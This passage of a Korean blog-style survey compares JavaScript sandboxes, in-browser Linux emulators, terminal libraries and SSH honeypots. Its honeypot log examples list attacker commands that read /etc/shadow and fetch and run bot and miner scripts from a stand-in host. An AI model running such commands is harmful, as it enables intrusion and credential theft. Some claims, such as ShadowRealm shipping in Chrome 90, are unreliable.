유지보수자는 2025년 10월에 버전 3.10.0으로 부활시켰고, 당시 알려진 모든 것을 고쳤다고 주장했어. 2026년 1월에 새로운 치명적 탈출(CVE-2026-22709, CVSS 9.8)이 공개되었고, 2026년 5월에는 11개가 더 이어졌어. 열하나. 패턴은 변하지 않았고 솔직히 앞으로도 변하지 않을 거야.

근본적인 문제는 아키텍처적이야 -- 그리고 이게 생태계 전체가 배우는 데 오래 걸린 교훈이야. 샌드박스하는 것과 같은 언어로, 같은 엔진으로, 같은 프로세스 안에서 안전한 샌드박스를 만들 수 없어. 탈출 표면은 전체 V8 구현인데 -- V8은 수백만 줄의 C++로 계속 변하고 있어. 모든 새로운 JS 기능이 잠재적으로 새로운 공격 경로를 열어.

평결: 보안에 민감한 애플리케이션에는 사용하지 마. 최신 버전에서도 몇 달마다 새로운 우회가 발견돼. 유지보수자 자신도 공개적으로 인정했어.


1.3 isolated-vm -- 실제로 작동하는 것

isolated-vm은 올바른 접근 방식을 취해: V8 자체의 격리 프리미티브인 Isolate를 사용해. 각 V8 Isolate는 자신의 힙, 자신의 가비지 컬렉터, 자신의 빌트인 세트를 가지고 있고, 다른 Isolate와 공유 참조가 전혀 없어.

이것은 Chrome이 탭 사이에 사용하는 것과 같은 경계야. 언어 수준의 Proxy 트릭이 아닌 진짜 보안 경계지.

import ivm from "isolated-vm";

// 각 isolate는 자체 V8 힙
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB 제한
const context = await isolate.createContext();
const jail = context.global;

// 경계를 넘어 데이터 전달하려면 명시적 직렬화가 필요해
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // 호스트 프로세스, 호스트 힙, 호스트 모듈에 접근 불가
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// 타임아웃이나 메모리 제한으로 하드 종료 가능
isolate.dispose(); // 전체 힙 해제

Reference와 ExternalCopy 타입이 명시적 통신 브리지야. Reference는 isolate에 호스트 함수에 대한 호출 가능한 핸들을 줘 -- isolate는 호출할 수 있지만 클로저나 프로토타입은 검사할 수 없어. ExternalCopy는 값을 힙 경계를 넘어 직렬화(구조적 클론)해. 이 명시적 브리지 모델은 편리하지는 않지만, 격리를 실제로 만들어내는 거야.

하드 리소스 제한을 설정할 수 있어: 메모리(제한 초과 시 isolate 종료), 벽시계 타임아웃, CPU 타임아웃. 종료는 실제야 -- while(true)로 우회할 수 있는 JS 타임아웃이 아니라, V8 Isolate 전체를 죽여.

한계: JS 전용이야. 내부에서 bash를 실행할 수 없어. 파일, 권한, 네트워크, 프로세스 개념이 없어. 사용자 제출 JS(플러그인, 공식, 스크립트 훅)에는 정확히 맞는 도구이고, 다른 모든 것에는 틀린 도구야. typescript-virtual-container의 작성자가 초기에 고려했다가 "셸 명령 실행"과 "JavaScript 격리"가 근본적으로 다른 문제라는 걸 깨달았다고 언급했어.

메모리: 빈 isolate당 ~3–10 MB, 힙 사용에 따라 증가. 보안: 강력. V8 Isolate 경계가 실제 격리 프리미티브야. npm: isolated-vm GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- Wasm으로 컴파일된 별도의 JS 엔진

다른 접근 방식: V8 내에서 격리하는 대신, WebAssembly로 컴파일된 완전히 별도의 JavaScript 엔진을 실행해. 호스트는 V8/Node에서 실행돼. 게스트는 QuickJS-내부-Wasm에서 실행돼. Wasm 샌드박스가 격리 경계를 제공해.

QuickJS는 Fabrice Bellard의 또 다른 작품이야 (QEMU, FFmpeg, JSLinux, TinyEMU의 그 사람 -- 이 사람은 진짜가 아니야, 어떻게 한 사람이 이걸 다 하지?). C로 작성된 작고 스펙 준수하는 ES2023 JS 엔진이고, Wasm으로 컴파일하면 ~500 KB밖에 안 돼.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // QuickJS에서 실행, V8과 완전히 분리
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS는 C로 작성된 작고 스펙 준수하는 ES2023 JavaScript 엔진이야. Wasm으로 컴파일하면 동기 변형은 ~500 KB, 비동기(Asyncify) 변형은 ~1 MB. 메모리 관리는 수동이야 -- VM에서 추출한 모든 값을 명시적으로 폐기해야 해, 좀 귀찮지만 경계 간 GC 문제를 방지해. 재미있는 트레이드오프지!

@sebastianwessel/quickjs 래퍼는 더 인체공학적인 API를 추가하고, 선택적 가상 파일시스템, fetch 지원, Node.js 모듈 스텁을 제공해:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

보안 모델은 isolated-vm과 달라: Wasm의 선형 메모리 모델은 게스트가 V8 힙 객체에 직접 접근할 수 없다는 뜻이야. 공격 표면은 호스트↔Wasm 인터페이스(imports/exports)지, 전체 JS 언어가 아니야. 이 방법은 일반적으로 Proxy 기반 샌드박싱보다 더 강력하다고 여겨져.

문제: QuickJS는 V8과 같은 최적화 수준이 아니야. CPU 바인딩 JS 워크로드에서는 V8보다 5–20배 느려. 짧은 스니펫과 신뢰할 수 없는 eval에서는 보통 문제되지 않아.

메모리: 인스턴스당 ~500 KB Wasm 모듈 + 힙. 보안: Wasm 경계, Proxy 기반 접근 방식보다 더 강력하다고 여겨짐. npm: quickjs-emscripten, @sebastianwessel/quickjs GitHub: justjake/quickjs-emscripten


1.5 Deno -- 권한 우선 런타임

Deno는 완전히 다른 철학을 취해: Node 내에서 샌드박싱하는 대신, 기본적으로 안전한 새 런타임을 만들어. 나는 이 접근 방식이 정말 마음에 들어 -- 솔직히 Node.js가 처음부터 그랬어야 했어. Ryan Dahl(원래 Node.js 창시자)은 말 그대로 몇 가지 Node.js 디자인 결정을 후회해서 Deno를 만들었어. 생각해보면 꽤 놀라운 일이야.

모든 민감한 기능(파일 읽기, 파일 쓰기, 네트워크, 환경 변수, 서브프로세스)에는 명시적인 --allow-* 플래그가 필요해:

# 이건 /data에서만 읽을 수 있어
deno run --allow-read=/data script.ts

# 이건 하나의 도메인만 가져올 수 있어
deno run --allow-net=api.example.com script.ts

# 플래그 없음 = 아무 권한 없음
deno run untrusted.ts # 읽기, 쓰기, 네트워크, spawn 불가

권한 모델은 Rust/OS 수준에서 구현돼 -- JS 트릭이 아니야. Deno 코드가 Deno.readFile()을 호출하면, Rust op를 통해 권한 테이블을 확인한 후에야 파일시스템에 접근해. 권한이 부여되지 않으면 시스템 콜이 아예 발생하지 않기 때문에 JS에서 우회할 수 없어.

진짜 신뢰할 수 없는 코드를 실행하려면, Deno Workers(웹 워커)가 같은 프로세스 내에서 두 번째 isolate를 제공하고, 각각 자체 권한 세트를 가져. 권한이 0인 워커를 생성하고 postMessage로 통신할 수 있어.

Deno 2(2024년 10월 출시)는 완전한 npm 호환성과 Node.js 호환성 심을 추가해서 서버 측 사용 사례에서 채택을 크게 개선했어.

트레이드오프: Deno의 보안 모델은 부분적으로 신뢰할 수 있는 코드에 탁월해. 완전히 신뢰할 수 없고 적대적일 수 있는 코드의 경우, 권한 모델만으로는 충분하지 않아 -- Isolate 경계(isolated-vm)나 다른 엔진(quickjs-emscripten)이 필요해. Deno도 여전히 V8을 실행하고 정교한 공격자는 V8 수준의 버그를 찾을 수 있기 때문이야.


1.6 TC39 ShadowRealm -- 표준 답변 (언젠가는)

JavaScript 표준 기구(TC39)는 ShadowRealm이라는 제안을 가지고 있어서 vm과 vm2가 하려고 했던 것을 표준화하려고 하지만, 올바른 보안 모델을 가져. ShadowRealm은 자체 인트린직을 가진 격리된 JS 실행 컨텍스트를 만들고, 외부 영역에 접근할 수 없으며, 신중하게 제어된 import/export 인터페이스를 가져.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // 별도의 인트린직, 외부 영역에 접근 불가
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm은 브라우저에(Chrome 90+, Firefox 105+) 있지만 2026년 현재 Node.js stable에는 아직 없어. TC39 Compartments 제안이 모듈 수준 격리를 위해 그 위에 구축되고 있어. 이게 장기적으로 표준화된 답변이지만, 서버 측 Node 사용 사례에서는 아직 프로덕션 준비가 안 됐어. 멀리서 오는 게 보이지만 아직... 도착하지 않은 것들 중 하나야. 전형적인 TC39 xD


샌드박스 계열 요약

vm vm2 isolated-vm quickjs-emscripten Deno Workers
격리 경계 없음 (스코프만) Proxy (깨짐) V8 Isolate Wasm V8 Isolate + Rust 권한
메모리 제한 ❌ ❌ ✅ 하드 제한 ✅ Wasm 힙 부분적
CPU 타임아웃 ❌ ✅ (우회 가능) ✅ 하드 ✅ ✅
보안 없음 깨짐 강력 강력 강력
JS 속도 네이티브 V8 네이티브 V8 네이티브 V8 ~10배 느림 네이티브 V8
브라우저 ❌ ❌ ❌ ✅ ❌
Node 호환 네이티브 ✅ ✅ 부분적 심 부분적
상태 안정 위험 (새 CVE) ✅ 활동 중 ✅ 활동 중 ✅ 활동 중
RAM 오버헤드 ~1 MB ~5–20 MB ~3–10 MB ~5–15 MB ~10–30 MB

핵심: 보안을 중요하게 생각한다면, 실제로 두 가지 옵션만 있어 -- isolated-vm (네이티브 애드온, V8 Isolate, 전체 JS 속도)과 quickjs-emscripten (Wasm, 브라우저 호환, 계산 집약적 코드에서 ~10배 느림). 나머지는 "제발 쓰지 마"(vm, vm2)거나 완전히 다른 문제를 해결하는 런타임(Deno)이야. ShadowRealm이 언젠가 이 그림을 바꿀 수도 있지만, 아직은 아니야.


파트 2 -- JavaScript의 Linux 에뮬레이터

여기서부터 진짜 흥미로워지기 시작해. 이것들은 진짜 에뮬레이터야 -- JavaScript나 WebAssembly로 CPU 명령어 세트를 구현하고, 실제 Linux 커널 이미지를 부팅하고, 실제 사용자 공간 바이너리를 실행해. 격리는 게스트와 호스트가 아무것도 공유하지 않는다는 점에서 온다: 다른 메모리 공간, 다른 명령어 스트림.

지불하는 비용은 엄청나지만, 얻는 것은 진정으로 놀라워: 실제 Linux가, 실제로, 브라우저나 Node 프로세스 안에서 실행돼. 생각해보면 꽤 정신없지 않아?

2.1 v86 -- JS + Wasm JIT의 x86 PC 에뮬레이터

Fabrice의 v86 (GitHub의 copy)은 JavaScript에서 가장 강력한 오픈 소스 x86 에뮬레이터야. 2013년경 순수 JS 인터프리터로 시작해서 x86 기본 블록을 즉시 WebAssembly로 변환하는 JIT 컴파일 시스템으로 진화했어, 성능이 극적으로 향상됐지.

에뮬레이트하는 것:

  • CPU: x86-32 (IA-32), 명령어 세트는 대략 Pentium 1 수준. 64비트(x86-64) 지원 없음 -- 이건 빠진 기능이 아니라 하드 아키텍처적 한계야.
  • FPU: JavaScript의 Float64Array를 통해. x87은 80비트 확장 정밀도; JS 더블은 64비트. 이건 부동소수점 결과가 실제 CPU와 약간 다를 수 있다는 뜻이야.
  • 메모리: 설정 가능, JS 힙의 SharedArrayBuffer 또는 ArrayBuffer에 매핑.
  • 하드웨어: 8254 PIT (타이머), 8259 PIC (인터럽트 컨트롤러), 8042 키보드 컨트롤러 (PS/2), CMOS RTC, SVGA 확장 및 Bochs VBE가 있는 VGA, IDE 컨트롤러, 플로피 컨트롤러 (8272A), NE2000 네트워크 카드.
  • BIOS: SeaBIOS 사용 (오픈 소스 x86 BIOS).

JIT는 기본 블록(점프 없는 x86 명령어 시퀀스)을 식별하고, WebAssembly 함수로 변환하고, 그 함수를 캐시하고, 같은 블록의 후속 실행에서 호출함으로써 작동해. 뜨거운 코드 경로는 네이티브 Wasm 성능을 얻어. 차가운 경로는 JS 인터프리터로 폴백돼.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// 시리얼 출력 캡처 (Linux 커널 콘솔)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// 게스트에 입력 보내기 (셸에 입력)
emulator.serial0_send("ls /\n");

지원 OS: Alpine Linux (훌륭함), Ubuntu 16.04/18.04 (i386만), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (제약 있음), MS-DOS.

부팅 시간: 클린 이미지에서 Alpine Linux 15–40초. 이건 실제 커널 초기화에 내재된 거야 -- 건너뛸 수 없어. 네, 사용자들은 브라우저에서 커널 부팅 시퀀스를 지켜보고 앉아 있어야 해. 그게 조건이야 xD

메모리: 인스턴스당 100–256 MB. 바쁜 Linux 인스턴스의 경우 Wasm JIT 코드 캐시만 수십 MB에 도달할 수 있어.

Node.js 사용: 완전 지원. DOM 불필요 -- 시리얼만 필요하면 VGA 출력은 버려도 돼.

할 수 없는 것: 64비트 바이너리 실행, 최신 커널 기능(eBPF, io_uring 등) 사용, 메모리 제한에 부딪히지 않고 동시에 소수 인스턴스 이상 실행.

npm: v86 -- 지속적으로 업데이트, 작성 시점 기준 최근 1일 이내에 최신 버전 게시됨. GitHub: copy/v86 데모: copy.sh/v86


2.2 JSLinux와 TinyEMU -- Bellard의 작업, 두 번

JSLinux는 Fabrice Bellard 자신의 JavaScript Linux 에뮬레이터야 -- 최초로, 2011년에 발표됐어. 이 글에서 계속 Bellard를 언급하는 이유는 계속 나타나거든: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. 이 사람은 정말 대단해. 과장 없이 소프트웨어 역사상 가장 인상적인 솔로 기술 기여 중 하나야.

원래 JSLinux는 순수 JS x86 인터프리터였어. 2016년에 Bellard가 TinyEMU(C로 작성된 RISC-V 에뮬레이터)를 작성하고 Emscripten으로 JavaScript로 컴파일했고, 그게 현재 JSLinux의 기초가 됐어. 그래서 현재 JSLinux는 실제로 JavaScript를 생성하는 C 코드야 -- 손으로 작성된 JS가 전혀 아니야.

Bellard 사이트의 기술 노트는 읽을 가치가 있어: 현재 JSLinux는 32 또는 64비트 RISC-V CPU(x86이 아님)를 실행하고, VirtIO 콘솔, VirtIO 네트워크, VirtIO 블록 디바이스, 호스트와 파일 공유를 위한 9P 파일시스템을 에뮬레이트해. JS 데모는 C를 Emscripten으로 컴파일한 거야 -- 손으로 작성된 JS가 아니야.

TinyEMU 자체는 지원:

  • RISC-V RV32IMAFDQC 및 RV64IMAFDQC (32 및 64비트, 부동소수점, 곱셈, 압축 명령어 포함)
  • KVM을 통한 x86 (네이티브 전용, 에뮬레이션 없음 -- 그래서 JS 버전은 RISC-V 전용)
  • VirtIO 콘솔, 네트워크, 블록, 입력, 9P 파일시스템

TinyEMU는 Emscripten을 통해 제공되는 JavaScript 데모가 있어. JSLinux의 기반이고 container2wasm에서도 사용돼 (섹션 2.5 참조).

JSLinux 상태: npm 패키지 없음, 프로그래밍 API 없음. 브라우저에서 여는 데모야. 역사적 의의는 높아 -- 개념을 증명했지. 라이브러리로서의 실용적 사용: 없음.

TinyEMU: npm에 없음, C 소스는 bellard.org/tinyemu에서 가능.


2.3 jor1k -- OR1K 에뮬레이터

jor1k는 Sebastian Macke가 JavaScript로 작성한 OpenRISC 1000 (OR1K) 에뮬레이터야. 역사적으로 jor1k가 VirtIO 9P 파일시스템 지원을 도입했고, Bellard가 나중에 TinyEMU와 JSLinux에 통합했기 때문에 흥미로워. 이 프로젝트들 간의 교차 수분은 긴밀해 -- 모두 서로에게서 차용해. 오픈 소스 에뮬레이션 작업에서 가장 멋진 점 중 하나야.

상태: 더 이상 적극적으로 유지보수되지 않음, npm 패키지 없음. 지금은 보관됨. 주로 역사적 맥락으로 알아두면 좋아 -- 누군가 jor1k를 언급하면, 뭔지 알게 되는 거지 :)


2.4 CheerpX -- 브라우저용 상용 x86 에뮬레이터

Leaning Technologies의 CheerpX는 상용 프로덕션 등급 x86 Linux 에뮬레이터야. 오픈 소스가 아니지만, 실제 Debian/Ubuntu 사용자 공간을 실행하는 데 v86보다 훨씬 강력해. 브라우저에서 실제 VSCode가 필요하다면 이걸 찾아.

v86과의 주요 차이점:

  • 더 넓은 ISA 지원 (더 많은 x86 확장, 더 나은 glibc 호환성)
  • 브라우저의 IndexedDB 기반 파일시스템 (페이지 로드 간 지속)
  • SharedArrayBuffer를 통한 pthread 지원 (COOP/COEP 헤더 필요 -- 네 그 성가신 보안 헤더)
  • 최소 OS 이미지가 아닌 VSCode, Python, Node.js 및 기타 실제 애플리케이션 실행용으로 설계됨
  • 전문 지원 및 SLA 사용 가능 (깨지면 누군가에게 소리칠 수 있음)

일반적인 사용 사례는 "서버 없이 브라우저에서 실제 Linux 애플리케이션 실행"이야. 회사들은 브라우저 기반 IDE, 코딩 튜토리얼, 대화형 문서에 사용해.

// CheerpX API (간소화)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Node.js 스토리: CheerpX는 브라우저 우선이야. 기본 에뮬레이터는 이론적으로 Node에서 작동할 수 있지만(Wasm이니까), API와 문서는 전적으로 브라우저 사용에 맞춰져 있어. 서버 측 사용은 지원되지 않아.

메모리: v86과 비슷 -- 실제 Debian 인스턴스의 경우 200+ MB. 가격: 오픈 소스 프로젝트에는 무료, 프로덕션 SaaS에는 상용 라이선스. 문서: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Wasm의 Node.js, Linux 에뮬레이션이 아님

WebContainers는 종종 Linux 에뮬레이터와 함께 묶이지만 아키텍처가 달라. x86을 에뮬레이트하지 않아. Linux를 부팅하지 않아. WASI를 사용해 WebAssembly로 컴파일된 Node.js를 실행해. 이 차이는 중요하고 나도 한동안 혼란스러웠어 lol.

혼란은 마케팅에서 오는 것 같아 -- "브라우저에서 Node.js 실행"은 에뮬레이션처럼 들리지만, 실제로는 VM 안에서 Node.js를 실행하는 Linux 에뮬레이션이 아니라 Node.js 자체가 Wasm으로 컴파일된 거야. 완전히 다른 거야.

아키텍처:

  1. Node.js가 Wasm으로 컴파일됨 (특히 커스텀 WASI 런타임)
  2. Service Worker가 에뮬레이트된 Node.js 서버의 네트워크 요청을 가로채서 브라우저 탭으로 라우팅
  3. 파일시스템은 브라우저 메모리에 있음 (디스크 I/O 없음)
  4. npm은 브라우저 내 사용에 최적화된 커스텀 구현
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// 파일 쓰기
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Node.js 명령 실행
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

실제 Node.js(Wasm 컴파일)를 실행하기 때문에, 실제 npm, 실제 Node.js API, 실제 모듈 해석을 얻어. 일반적인 Linux 사용자 공간은 얻지 못해 -- apt로 시스템 패키지를 설치하거나, 임의의 컴파일된 바이너리를 실행하거나, Node.js 생태계 밖에서 많은 것을 할 수 없어.

브라우저 요구 사항: SharedArrayBuffer (COOP/COEP 헤더 필요), Service Worker 지원, 최신 Wasm.

Node.js 스토리: 브라우저 전용으로 설계됨. API는 브라우저 컨텍스트 밖에서는 작동하지 않아.

npm: @webcontainer/api 문서: webcontainers.io


2.6 container2wasm -- Wasm으로 컴파일된 Docker 컨테이너

container2wasm은 Docker 컨테이너 이미지를 가져와서 모든 Wasm 호스트(브라우저 포함)에서 실행할 수 있는 WebAssembly 바이너리로 변환하는 도구야 (npm 패키지가 아님). 처음 봤을 때 진짜 작동한다고 믿기지 않았어.

메커니즘:

  • x86_64 컨테이너: Bochs(x86 에뮬레이터, Wasm으로 컴파일됨) + 컨테이너의 루트 파일시스템 내장
  • riscv64 컨테이너: TinyEMU (또 Bellard야!) + 컨테이너의 루트 파일시스템 내장
  • 결과 .wasm 파일이 에뮬레이터를 부팅하고, 컨테이너 파일시스템을 마운트하고, 컨테이너의 진입점을 실행해
# Ubuntu 22.04 컨테이너를 Wasm으로 변환
c2w ubuntu:22.04 out.wasm

# 실행
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# 또는 브라우저 사용을 위해 제공
c2w --to-js ubuntu:22.04 /tmp/htdocs/

결과 .wasm은 크다 -- 최소 Ubuntu는 수백 MB -- 하지만 완전히 자급자족해. 누군가에게 .wasm을 이메일로 보내면 그들이 브라우저에서 Ubuntu를 실행할 수 있어. 그 문장은 말이 안 되야 하지만, 여기까지 왔어.

GitHub: container2wasm/container2wasm


에뮬레이터 계열 요약

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
아키텍처 x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (독점) Node.js→Wasm/WASI x86/RISC-V (Wasm)
실제 커널 ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64비트 ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
npm 패키지 ✅ ❌ ❌ CDN/API ✅ ❌ (CLI 도구)
Node.js 사용 ✅ ❌ ❌ ❌ ❌ (브라우저 전용) Wasmtime으로
브라우저 사용 ✅ ✅ ✅ ✅ ✅ ✅
RAM/인스턴스 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
부팅 시간 15–40초 10–30초 10–30초 15–40초 2–5초 10–40초
오픈 소스 ✅ ✅ ✅ ❌ 부분적 ✅
상태 ✅ 매우 활동적 ✅ 안정 ⚠️ 보관됨 ✅ 상용 ✅ 활동적 ✅ 활동적

이 표에서 눈에 띄는 점: v86은 npm 패키지이면서 브라우저와 Node 모두에서 실행되고 오픈 소스인 유일한 거야. 그래서 "JavaScript Linux 에뮬레이터" 대화를 지배하는 거지. 다른 것들은 각자 제약이 있어 -- JSLinux는 API가 없고, jor1k는 보관됐고, CheerpX는 돈이 들고, WebContainers는 브라우저 전용이고 Node 전용이며, container2wasm은 빌드 단계와 CLI가 필요해. 그냥 "JavaScript로 Linux 부팅"이 필요하면, v86이 거의 항상 올바른 출발점이야.


파트 3 -- 터미널 스택: xterm.js와 node-pty

셸 같은 경험을 만들 때 두 패키지가 계속 등장해. 샌드박스나 에뮬레이터가 아니라 -- UI와 PTY 배관이야 -- 하지만 너무 인접해서 빼면 섭섭할 것 같아. 그리고 둘 다 써봤는데 정말 좋아.

3.1 xterm.js -- 터미널 렌더러

xterm.js는 브라우저용 터미널 에뮬레이터야. <canvas> 요소에 터미널 화면(VT100/xterm 이스케이프 시퀀스)을 렌더링하고, 키보드 입력을 처리하며, 데이터를 주고받기 위한 API를 노출해.

사용처: VS Code의 통합 터미널, Azure Cloud Shell, Proxmox VE, AWS CloudShell 등.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// 터미널에 데이터 전송 (텍스트로 렌더링됨)
term.write("$ ");
term.onData(data => {
  // data는 키스트로크 -- 백엔드로 전송
  socket.send(data);
});
socket.onmessage(msg => {
  // 백엔드의 출력 -- 표시
  term.write(msg.data);
});

xterm.js는 렌더링 레이어일 뿐이야. 셸을 실행하지 않아. 명령을 해석하지 않아. 원하는 백엔드에 연결하는 디스플레이 위젯이야. 많은 사람들이 xterm.js가 "터미널을 처리한다"고 생각하지만, 실제로는 화면만 담당해 -- 명령을 실제로 실행하는 무언가에 연결해야 해.

npm: @xterm/xterm GitHub: xtermjs/xterm.js


3.2 node-pty -- PTY 생성

node-pty는 Node.js에서 의사 터미널(PTY)을 생성하고 읽기/쓰기 핸들을 제공해. xterm.js와 함께 사용하면, 서버에서 실행 중인 실제 셸(bash, zsh, fish)과 대화하는 브라우저 터미널을 만들 수 있어.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // WebSocket을 통해 브라우저 xterm.js로 전송
  ws.send(data);
});

ws.on("message", data => {
  // 브라우저 키스트로크를 셸로 전달
  shell.write(data);
});

이게 클라우드 IDE와 웹 터미널의 표준 패턴이야: xterm.js (브라우저) ↔ WebSocket ↔ node-pty ↔ 실제 bash. 격리 없음. 셸은 Node.js 프로세스의 전체 권한(또는 실행하는 사용자의 권한)으로 실행돼.

유지보수: Microsoft. npm: node-pty GitHub: microsoft/node-pty


파트 4 -- SSH 허니팟

허니팟은 공격받도록 설계됐어. 목표는 공격자가 상호작용할 만큼 실제처럼 보이면서, 그들이 하는 모든 것을 위협 인텔리전스용으로 기록하는 거야. SSH가 주요 대상이야 -- 인터넷에서 가장 많이 공격받는 서비스니까. 공용 IP에서 22번 포트를 열면 말 그대로 몇 분 안에 자동화된 스캐닝 시도를 볼 거야. 한번 해봐, 얼마나 빨리 일어나는지 소름 끼칠 거야.

허니팟의 품질은 두 가지로 측정돼: 충실도(얼마나 설득력 있게 실제 시스템인 척하는지)와 원격 측정(얼마나 많은 유용한 데이터를 캡처하는지). 이 둘은 상충 관계야. 충실도가 높은 허니팟은 만들기 더 어렵고 운영하기 더 위험해.

이 섹션이 결국 typescript-virtual-container에 HoneyPot 모듈을 만들게 한 계기라서, 여기에 몇 가지 의견이 있어.

4.1 Cowrie -- 황금 표준

Cowrie는 Python 기반의 중간-높은 상호작용 SSH 및 Telnet 허니팟이야. 연구 및 보안 커뮤니티에서 가장 널리 배포된 SSH 허니팟이야.

아키텍처:

  • 프로토콜 레이어: 실제 SSH 프로토콜 구현 (Twisted Conch), 그래서 공격자는 실제 핸드셰이크, 실제 키 교환, 실제 인증을 경험
  • 셸 레이어: 가짜 파일시스템 (Debian 5.0 유사)과 일반적인 명령에 응답하는 부분적인 셸 인터프리터
  • 프록시 모드: 뒤에 있는 실제 시스템으로 전달 가능 (높은 상호작용 모드), 통과하는 모든 것을 기록
  • LLM 모드 (최근 추가): 처리 방법을 모르는 명령에 동적 응답을 생성하기 위해 언어 모델 사용 -- 네, Cowrie에 이제 AI 모드가 있어. 정신없는 시대야.
# Cowrie가 캡처하는 것
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie는 다운로드된 파일(wget/curl/SFTP/SCP 통해)을 악성코드 분석용으로 저장해. Splunk, Elasticsearch 및 기타 SIEM 플랫폼과 통합돼.

충실도: 중간-높음. 자동화된 봇을 속이기에 충분히 설득력 있음 (SSH 공격자의 99%는 -- 대부분은 그냥 root/password를 시도하는 멍청한 스크립트야). 정교한 인간은 지문을 찾을 수 있지만, 보통 꽤 빠르게.

언어: Python (Twisted) GitHub: cowrie/cowrie


4.2 Kippo -- Cowrie의 전신

Kippo는 Cowrie의 기반이 된 원래 중간 상호작용 SSH 허니팟이야. 같은 기본 아이디어: 실제 SSH 프로토콜, 가짜 파일시스템, 부분적 셸. Cowrie가 지금은 완전히 대체했어 -- Kippo는 보관됐고 2026년에 아무도 실행하면 안 돼. 역사적 완전성을 위해 여기서 언급할 뿐, 오래된 블로그 글과 보안 논문에서 참조되는 걸 볼 수 있으니까.

GitHub: desaster/kippo -- 보관됨


4.3 endlessh -- SSH 타르핏

endlessh는 변태 허니팟이야: 배너 데이터를 초당 1바이트(또는 더 느리게)로 천천히 흘려보내 SSH 연결을 열린 상태로 유지해. 연결하는 SSH 클라이언트는 무기한 대기하게 돼 -- 서버가 배너 전송을 끝내지 못해서 인증 단계에 절대 도달하지 못해.

목표는 위협 인텔리전스가 아니라 순수한 자원 거부야: 공격자 스캐너 스레드를 묶어서 실제 대상을 빠르게 공격하지 못하게 하는 거야. 가장 좋은 방법으로 사악하다고 생각해. 공격자로부터 아무것도 배우는 게 아니라 -- 그냥 시간을 낭비하는 거야. 거기에 깊은 만족감이 있어.

// endlessh의 전체 프로토콜 동작:
// 전송: "SSH-2.0-OpenSSH_" 그 다음 천천히 랜덤 문자 추가
// 연결을 절대 닫지 않음
// 공격자 스캐너는 N초 후 타임아웃

명령이 캡처되지 않아. 인증이 테스트되지 않아. 그냥 연결 시간만.

작성 언어: C GitHub: skeeto/endlessh


4.4 sshesame -- "모두 들여보내" 허니팟

sshesame는 모든 SSH 연결을 수락하고 (모든 사용자 이름, 모든 비밀번호, 모든 키) 모든 것을 기록해. 제로 상호작용 허니팟이야: 명령에 응답하지 않고, 공격자를 "들여보내고" 그들이 입력하는 모든 키스트로크를 기록해.

2024-01-15 03:22:11 45.33.32.156에서 연결
  사용자 이름: root, 비밀번호: password123 -- 수락됨
  입력된 명령:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  47초 후 연결 종료

자격 증명 수집에 유용해: 봇이 시도하는 사용자 이름과 비밀번호를 빠르게 축적해서 현재 어떤 기본 자격 증명이 무차별 대입되고 있는지 알려줘. 스포일러: 항상 root/password, admin/admin, root/123456이야. 매번.

GitHub: jaksi/sshesame


4.5 Lyrebird -- Docker 기반 허니팟 프레임워크

lyrebird/honeypot-base는 네트워크 서비스 허니팟 구축을 위한 Docker 베이스 이미지야. 구체적으로 SSH 허니팟이 아니라 -- 모든 프로토콜 허니팟 구축을 위한 프레임워크야.

